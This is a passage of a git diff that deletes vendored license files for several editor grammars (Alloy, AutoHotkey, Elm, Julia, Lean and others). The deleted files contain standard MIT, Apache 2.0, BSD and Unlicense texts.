-THIS SOFTWARE IS PROVIDED BY THE AUTHORS ``AS IS'' AND ANY EXPRESS OR
-IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
-WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
-DISCLAIMED.  IN NO EVENT SHALL THE AUTHORS OR CONTRIBUTORS BE LIABLE FOR
-ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
-DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
-OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
-HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
-STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
-ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
-POSSIBILITY OF SUCH DAMAGE.
diff --git a/vendor/licenses/grammar/Alloy.tmbundle.txt b/vendor/licenses/grammar/Alloy.tmbundle.txt
deleted file mode 100644
index 06b7e0f91d..0000000000
--- a/vendor/licenses/grammar/Alloy.tmbundle.txt
+++ /dev/null
@@ -1,206 +0,0 @@
----
-type: grammar
-name: Alloy.tmbundle
-license: apache-2.0
----
-Apache License
-                           Version 2.0, January 2004
-                        http://www.apache.org/licenses/
-
-   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
-
-   1. Definitions.
-
-      "License" shall mean the terms and conditions for use, reproduction,
-      and distribution as defined by Sections 1 through 9 of this document.
-
-      "Licensor" shall mean the copyright owner or entity authorized by
-      the copyright owner that is granting the License.
-
-      "Legal Entity" shall mean the union of the acting entity and all
-      other entities that control, are controlled by, or are under common
-      control with that entity. For the purposes of this definition,
-      "control" means (i) the power, direct or indirect, to cause the
-      direction or management of such entity, whether by contract or
-      otherwise, or (ii) ownership of fifty percent (50%) or more of the
-      outstanding shares, or (iii) beneficial ownership of such entity.
-
-      "You" (or "Your") shall mean an individual or Legal Entity
-      exercising permissions granted by this License.
-
-      "Source" form shall mean the preferred form for making modifications,
-      including but not limited to software source code, documentation
-      source, and configuration files.
-
-      "Object" form shall mean any form resulting from mechanical
-      transformation or translation of a Source form, including but
-      not limited to compiled object code, generated documentation,
-      and conversions to other media types.
-
-      "Work" shall mean the work of authorship, whether in Source or
-      Object form, made available under the License, as indicated by a
-      copyright notice that is included in or attached to the work
-      (an example is provided in the Appendix below).
-
-      "Derivative Works" shall mean any work, whether in Source or Object
-      form, that is based on (or derived from) the Work and for which the
-      editorial revisions, annotations, elaborations, or other modifications
-      represent, as a whole, an original work of authorship. For the purposes
-      of this License, Derivative Works shall not include works that remain
-      separable from, or merely link (or bind by name) to the interfaces of,
-      the Work and Derivative Works thereof.
-
-      "Contribution" shall mean any work of authorship, including
-      the original version of the Work and any modifications or additions
-      to that Work or Derivative Works thereof, that is intentionally
-      submitted to Licensor for inclusion in the Work by the copyright owner
-      or by an individual or Legal Entity authorized to submit on behalf of
-      the copyright owner. For the purposes of this definition, "submitted"
-      means any form of electronic, verbal, or written communication sent
-      to the Licensor or its representatives, including but not limited to
-      communication on electronic mailing lists, source code control systems,
-      and issue tracking systems that are managed by, or on behalf of, the
-      Licensor for the purpose of discussing and improving the Work, but
-      excluding communication that is conspicuously marked or otherwise
-      designated in writing by the copyright owner as "Not a Contribution."
-
-      "Contributor" shall mean Licensor and any individual or Legal Entity
-      on behalf of whom a Contribution has been received by Licensor and
-      subsequently incorporated within the Work.
-
-   2. Grant of Copyright License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      copyright license to reproduce, prepare Derivative Works of,
-      publicly display, publicly perform, sublicense, and distribute the
-      Work and such Derivative Works in Source or Object form.
-
-   3. Grant of Patent License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      (except as stated in this section) patent license to make, have made,
-      use, offer to sell, sell, import, and otherwise transfer the Work,
-      where such license applies only to those patent claims licensable
-      by such Contributor that are necessarily infringed by their
-      Contribution(s) alone or by combination of their Contribution(s)
-      with the Work to which such Contribution(s) was submitted. If You
-      institute patent litigation against any entity (including a
-      cross-claim or counterclaim in a lawsuit) alleging that the Work
-      or a Contribution incorporated within the Work constitutes direct
-      or contributory patent infringement, then any patent licenses
-      granted to You under this License for that Work shall terminate
-      as of the date such litigation is filed.
-
-   4. Redistribution. You may reproduce and distribute copies of the
-      Work or Derivative Works thereof in any medium, with or without
-      modifications, and in Source or Object form, provided that You
-      meet the following conditions:
-
-      (a) You must give any other recipients of the Work or
-          Derivative Works a copy of this License; and
-
-      (b) You must cause any modified files to carry prominent notices
-          stating that You changed the files; and
-
-      (c) You must retain, in the Source form of any Derivative Works
-          that You distribute, all copyright, patent, trademark, and
-          attribution notices from the Source form of the Work,
-          excluding those notices that do not pertain to any part of
-          the Derivative Works; and
-
-      (d) If the Work includes a "NOTICE" text file as part of its
-          distribution, then any Derivative Works that You distribute must
-          include a readable copy of the attribution notices contained
-          within such NOTICE file, excluding those notices that do not
-          pertain to any part of the Derivative Works, in at least one
-          of the following places: within a NOTICE text file distributed
-          as part of the Derivative Works; within the Source form or
-          documentation, if provided along with the Derivative Works; or,
-          within a display generated by the Derivative Works, if and
-          wherever such third-party notices normally appear. The contents
-          of the NOTICE file are for informational purposes only and
-          do not modify the License. You may add Your own attribution
-          notices within Derivative Works that You distribute, alongside
-          or as an addendum to the NOTICE text from the Work, provided
-          that such additional attribution notices cannot be construed
-          as modifying the License.
-
-      You may add Your own copyright statement to Your modifications and
-      may provide additional or different license terms and conditions
-      for use, reproduction, or distribution of Your modifications, or
-      for any such Derivative Works as a whole, provided Your use,
-      reproduction, and distribution of the Work otherwise complies with
-      the conditions stated in this License.
-
-   5. Submission of Contributions. Unless You explicitly state otherwise,
-      any Contribution intentionally submitted for inclusion in the Work
-      by You to the Licensor shall be under the terms and conditions of
-      this License, without any additional terms or conditions.
-      Notwithstanding the above, nothing herein shall supersede or modify
-      the terms of any separate license agreement you may have executed
-      with Licensor regarding such Contributions.
-
-   6. Trademarks. This License does not grant permission to use the trade
-      names, trademarks, service marks, or product names of the Licensor,
-      except as required for reasonable and customary use in describing the
-      origin of the Work and reproducing the content of the NOTICE file.
-
-   7. Disclaimer of Warranty. Unless required by applicable law or
-      agreed to in writing, Licensor provides the Work (and each
-      Contributor provides its Contributions) on an "AS IS" BASIS,
-      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
-      implied, including, without limitation, any warranties or conditions
-      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
-      PARTICULAR PURPOSE. You are solely responsible for determining the
-      appropriateness of using or redistributing the Work and assume any
-      risks associated with Your exercise of permissions under this License.
-
-   8. Limitation of Liability. In no event and under no legal theory,
-      whether in tort (including negligence), contract, or otherwise,
-      unless required by applicable law (such as deliberate and grossly
-      negligent acts) or agreed to in writing, shall any Contributor be
-      liable to You for damages, including any direct, indirect, special,
-      incidental, or consequential damages of any character arising as a
-      result of this License or out of the use or inability to use the
-      Work (including but not limited to damages for loss of goodwill,
-      work stoppage, computer failure or malfunction, or any and all
-      other commercial damages or losses), even if such Contributor
-      has been advised of the possibility of such damages.
-
-   9. Accepting Warranty or Additional Liability. While redistributing
-      the Work or Derivative Works thereof, You may choose to offer,
-      and charge a fee for, acceptance of support, warranty, indemnity,
-      or other liability obligations and/or rights consistent with this
-      License. However, in accepting such obligations, You may act only
-      on Your own behalf and on Your sole responsibility, not on behalf
-      of any other Contributor, and only if You agree to indemnify,
-      defend, and hold each Contributor harmless for any liability
-      incurred by, or claims asserted against, such Contributor by reason
-      of your accepting any such warranty or additional liability.
-
-   END OF TERMS AND CONDITIONS
-
-   APPENDIX: How to apply the Apache License to your work.
-
-      To apply the Apache License to your work, attach the following
-      boilerplate notice, with the fields enclosed by brackets "{}"
-      replaced with your own identifying information. (Don't include
-      the brackets!)  The text should be enclosed in the appropriate
-      comment syntax for the file format. We also recommend that a
-      file or class name and description of purpose be included on the
-      same "printed page" as the copyright notice for easier
-      identification within third-party archives.
-
-   Copyright 2014 Macek Ondřej
-
-   Licensed under the Apache License, Version 2.0 (the "License");
-   you may not use this file except in compliance with the License.
-   You may obtain a copy of the License at
-
-       http://www.apache.org/licenses/LICENSE-2.0
-
-   Unless required by applicable law or agreed to in writing, software
-   distributed under the License is distributed on an "AS IS" BASIS,
-   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-   See the License for the specific language governing permissions and
-   limitations under the License.
diff --git a/vendor/licenses/grammar/AutoHotkey.txt b/vendor/licenses/grammar/AutoHotkey.txt
deleted file mode 100644
index ffd2c1dd12..0000000000
--- a/vendor/licenses/grammar/AutoHotkey.txt
+++ /dev/null
@@ -1,29 +0,0 @@
----
-type: grammar
-name: AutoHotkey
-license: unlicense
----
-This is free and unencumbered software released into the public domain.
-
-Anyone is free to copy, modify, publish, use, compile, sell, or
-distribute this software, either in source code form or as a compiled
-binary, for any purpose, commercial or non-commercial, and by any
-means.
-
-In jurisdictions that recognize copyright laws, the author or authors
-of this software dedicate any and all copyright interest in the
-software to the public domain. We make this dedication for the benefit
-of the public at large and to the detriment of our heirs and
-successors. We intend this dedication to be an overt act of
-relinquishment in perpetuity of all present and future rights to this
-software under copyright law.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
-IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR
-OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
-ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
-OTHER DEALINGS IN THE SOFTWARE.
-
-For more information, please refer to <http://unlicense.org/>
diff --git a/vendor/licenses/grammar/BrightScript.tmbundle.txt b/vendor/licenses/grammar/BrightScript.tmbundle.txt
deleted file mode 100644
index 54d0f1b8b8..0000000000
--- a/vendor/licenses/grammar/BrightScript.tmbundle.txt
+++ /dev/null
@@ -1,26 +0,0 @@
----
-type: grammar
-name: BrightScript.tmbundle
-license: mit
----
-The MIT License (MIT)
-
-Copyright (c) [year] [fullname]
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-SOFTWARE.
diff --git a/vendor/licenses/grammar/ColdFusion.txt b/vendor/licenses/grammar/ColdFusion.txt
deleted file mode 100644
index c51c96d9de..0000000000
--- a/vendor/licenses/grammar/ColdFusion.txt
+++ /dev/null
@@ -1,26 +0,0 @@
----
-type: grammar
-name: ColdFusion
-license: mit
----
-The MIT License (MIT)
-
-Copyright (c) 2012
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in
-all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
-THE SOFTWARE.
diff --git a/vendor/licenses/grammar/Docker.tmbundle.txt b/vendor/licenses/grammar/Docker.tmbundle.txt
deleted file mode 100644
index 3e4baf7c53..0000000000
--- a/vendor/licenses/grammar/Docker.tmbundle.txt
+++ /dev/null
@@ -1,26 +0,0 @@
----
-type: grammar
-name: Docker.tmbundle
-license: mit
----
-The MIT License (MIT)
-
-Copyright 2014 Asbjorn Enge
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in
-all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
-THE SOFTWARE.
diff --git a/vendor/licenses/grammar/Elm.txt b/vendor/licenses/grammar/Elm.txt
deleted file mode 100644
index 7f04b9332a..0000000000
--- a/vendor/licenses/grammar/Elm.txt
+++ /dev/null
@@ -1,25 +0,0 @@
----
-type: grammar
-name: Elm
-license: mit
----
-The MIT License (MIT)
-
-Copyright (c) 2013-2014 Alex Neslusan
-
-Permission is hereby granted, free of charge, to any person obtaining a copy of
-this software and associated documentation files (the "Software"), to deal in
-the Software without restriction, including without limitation the rights to
-use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
-the Software, and to permit persons to whom the Software is furnished to do so,
-subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
-FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
-COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
-IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
-CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/vendor/licenses/grammar/FreeMarker.tmbundle.txt b/vendor/licenses/grammar/FreeMarker.tmbundle.txt
deleted file mode 100644
index 80411a4b1f..0000000000
--- a/vendor/licenses/grammar/FreeMarker.tmbundle.txt
+++ /dev/null
@@ -1,29 +0,0 @@
----
-type: grammar
-name: FreeMarker.tmbundle
-license: mit
----
-Open Source Initiative OSI - The MIT License
-
-http://www.opensource.org/licenses/mit-license.php
-
-Copyright (c) 2011 Brian Cavalier
-
-Permission is hereby granted, free of charge, to any person obtaining
-a copy of this software and associated documentation files (the
-"Software"), to deal in the Software without restriction, including
-without limitation the rights to use, copy, modify, merge, publish,
-distribute, sublicense, and/or sell copies of the Software, and to
-permit persons to whom the Software is furnished to do so, subject to
-the following conditions:
-
-The above copyright notice and this permission notice shall be
-included in all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
-LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
-OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
-WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
\ No newline at end of file
diff --git a/vendor/licenses/grammar/G-Code.txt b/vendor/licenses/grammar/G-Code.txt
deleted file mode 100644
index 27b002f5e8..0000000000
--- a/vendor/licenses/grammar/G-Code.txt
+++ /dev/null
@@ -1,26 +0,0 @@
----
-type: grammar
-name: G-Code
-license: mit
----
-The MIT License (MIT)
-
-Copyright (c) 2014 Robotmaster
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-SOFTWARE.
\ No newline at end of file
diff --git a/vendor/licenses/grammar/Handlebars.txt b/vendor/licenses/grammar/Handlebars.txt
deleted file mode 100644
index fa590e2ef9..0000000000
--- a/vendor/licenses/grammar/Handlebars.txt
+++ /dev/null
@@ -1,24 +0,0 @@
----
-type: grammar
-name: Handlebars
-license: mit
----
-The MIT License (MIT)
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in
-all copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
-THE SOFTWARE.
diff --git a/vendor/licenses/grammar/IDL-Syntax.txt b/vendor/licenses/grammar/IDL-Syntax.txt
deleted file mode 100644
index ca715fc80e..0000000000
--- a/vendor/licenses/grammar/IDL-Syntax.txt
+++ /dev/null
@@ -1,26 +0,0 @@
----
-type: grammar
-name: IDL-Syntax
-license: mit
----
-The MIT License (MIT)
-
-Copyright (c) 2014 andik
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-SOFTWARE.
diff --git a/vendor/licenses/grammar/Isabelle.tmbundle.txt b/vendor/licenses/grammar/Isabelle.tmbundle.txt
deleted file mode 100644
index 01f079184c..0000000000
--- a/vendor/licenses/grammar/Isabelle.tmbundle.txt
+++ /dev/null
@@ -1,31 +0,0 @@
----
-type: grammar
-name: Isabelle.tmbundle
-license: bsd-2-clause
----
-Copyright (c) 2014 Gerwin Klein and contributors.
-All rights reserved.
-
-Redistribution and use in source and binary forms, with or without
-modification, are permitted provided that the following conditions
-are met:
-
-1. Redistributions of source code must retain the above copyright
-   notice, this list of conditions and the following disclaimer.
-
-2. Redistributions in binary form must reproduce the above copyright
-   notice, this list of conditions and the following disclaimer in the
-   documentation and/or other materials provided with the distribution.
-
-THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
-ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
-IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
-ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
-FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
-DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
-OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
-HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
-LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
-OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
-SUCH DAMAGE.
-
diff --git a/vendor/licenses/grammar/JSyntax.txt b/vendor/licenses/grammar/JSyntax.txt
deleted file mode 100644
index bb1d16e7d8..0000000000
--- a/vendor/licenses/grammar/JSyntax.txt
+++ /dev/null
@@ -1,26 +0,0 @@
----
-type: grammar
-name: JSyntax
-license: mit
----
-The MIT License (MIT)
-
-Copyright (c) 2014 Brendan Curran-Johnson
-
-Permission is hereby granted, free of charge, to any person obtaining a copy
-of this software and associated documentation files (the "Software"), to deal
-in the Software without restriction, including without limitation the rights
-to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-copies of the Software, and to permit persons to whom the Software is
-furnished to do so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-SOFTWARE.
\ No newline at end of file
diff --git a/vendor/licenses/grammar/Julia.tmbundle.txt b/vendor/licenses/grammar/Julia.tmbundle.txt
deleted file mode 100644
index 8f81f1d1a2..0000000000
--- a/vendor/licenses/grammar/Julia.tmbundle.txt
+++ /dev/null
@@ -1,27 +0,0 @@
----
-type: grammar
-name: Julia.tmbundle
-license: mit
----
-Copyright (c) 2012-2014 Stefan Karpinski, Elliot Saba, Dirk Gadsden,
-Adam Strzelecki, Jonathan Malmaud and other contributors:
-
-https://github.com/nanoant/Julia.tmbundle/contributors
-
-Permission is hereby granted, free of charge, to any person obtaining a copy of
-this software and associated documentation files (the "Software"), to deal in
-the Software without restriction, including without limitation the rights to
-use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
-of the Software, and to permit persons to whom the Software is furnished to do
-so, subject to the following conditions:
-
-The above copyright notice and this permission notice shall be included in all
-copies or substantial portions of the Software.
-
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
-SOFTWARE.
diff --git a/vendor/licenses/grammar/Lean.tmbundle.txt b/vendor/licenses/grammar/Lean.tmbundle.txt
deleted file mode 100644
index e0dcb9906e..0000000000
--- a/vendor/licenses/grammar/Lean.tmbundle.txt
+++ /dev/null
@@ -1,206 +0,0 @@
----
-type: grammar
-name: Lean.tmbundle
-license: apache-2.0
----
-Apache License
-                           Version 2.0, January 2004
-                        http://www.apache.org/licenses/
-
-   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
-
-   1. Definitions.
-
-      "License" shall mean the terms and conditions for use, reproduction,
-      and distribution as defined by Sections 1 through 9 of this document.
-
-      "Licensor" shall mean the copyright owner or entity authorized by
-      the copyright owner that is granting the License.
-
-      "Legal Entity" shall mean the union of the acting entity and all
-      other entities that control, are controlled by, or are under common
-      control with that entity. For the purposes of this definition,
-      "control" means (i) the power, direct or indirect, to cause the
-      direction or management of such entity, whether by contract or
-      otherwise, or (ii) ownership of fifty percent (50%) or more of the
-      outstanding shares, or (iii) beneficial ownership of such entity.
-
-      "You" (or "Your") shall mean an individual or Legal Entity
-      exercising permissions granted by this License.
-
-      "Source" form shall mean the preferred form for making modifications,
-      including but not limited to software source code, documentation
-      source, and configuration files.
-
-      "Object" form shall mean any form resulting from mechanical
-      transformation or translation of a Source form, including but
-      not limited to compiled object code, generated documentation,
-      and conversions to other media types.
-
-      "Work" shall mean the work of authorship, whether in Source or
-      Object form, made available under the License, as indicated by a
-      copyright notice that is included in or attached to the work
-      (an example is provided in the Appendix below).
-
-      "Derivative Works" shall mean any work, whether in Source or Object
-      form, that is based on (or derived from) the Work and for which the
-      editorial revisions, annotations, elaborations, or other modifications
-      represent, as a whole, an original work of authorship. For the purposes
-      of this License, Derivative Works shall not include works that remain
-      separable from, or merely link (or bind by name) to the interfaces of,
-      the Work and Derivative Works thereof.
-
-      "Contribution" shall mean any work of authorship, including
-      the original version of the Work and any modifications or additions
-      to that Work or Derivative Works thereof, that is intentionally
-      submitted to Licensor for inclusion in the Work by the copyright owner
-      or by an individual or Legal Entity authorized to submit on behalf of
-      the copyright owner. For the purposes of this definition, "submitted"
-      means any form of electronic, verbal, or written communication sent
-      to the Licensor or its representatives, including but not limited to
-      communication on electronic mailing lists, source code control systems,
-      and issue tracking systems that are managed by, or on behalf of, the
-      Licensor for the purpose of discussing and improving the Work, but
-      excluding communication that is conspicuously marked or otherwise
-      designated in writing by the copyright owner as "Not a Contribution."
-
-      "Contributor" shall mean Licensor and any individual or Legal Entity
-      on behalf of whom a Contribution has been received by Licensor and
-      subsequently incorporated within the Work.
-
-   2. Grant of Copyright License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      copyright license to reproduce, prepare Derivative Works of,
-      publicly display, publicly perform, sublicense, and distribute the
-      Work and such Derivative Works in Source or Object form.
-
-   3. Grant of Patent License. Subject to the terms and conditions of
-      this License, each Contributor hereby grants to You a perpetual,
-      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
-      (except as stated in this section) patent license to make, have made,
-      use, offer to sell, sell, import, and otherwise transfer the Work,
-      where such license applies only to those patent claims licensable
-      by such Contributor that are necessarily infringed by their
-      Contribution(s) alone or by combination of their Contribution(s)
-      with the Work to which such Contribution(s) was submitted. If You
-      institute patent litigation against any entity (including a
-      cross-claim or counterclaim in a lawsuit) alleging that the Work
-      or a Contribution incorporated within the Work constitutes direct
-      or contributory patent infringement, then any patent licenses
-      granted to You under this License for that Work shall terminate
-      as of the date such litigation is filed.
-
-   4. Redistribution. You may reproduce and distribute copies of the
-      Work or Derivative Works thereof in any medium, with or without
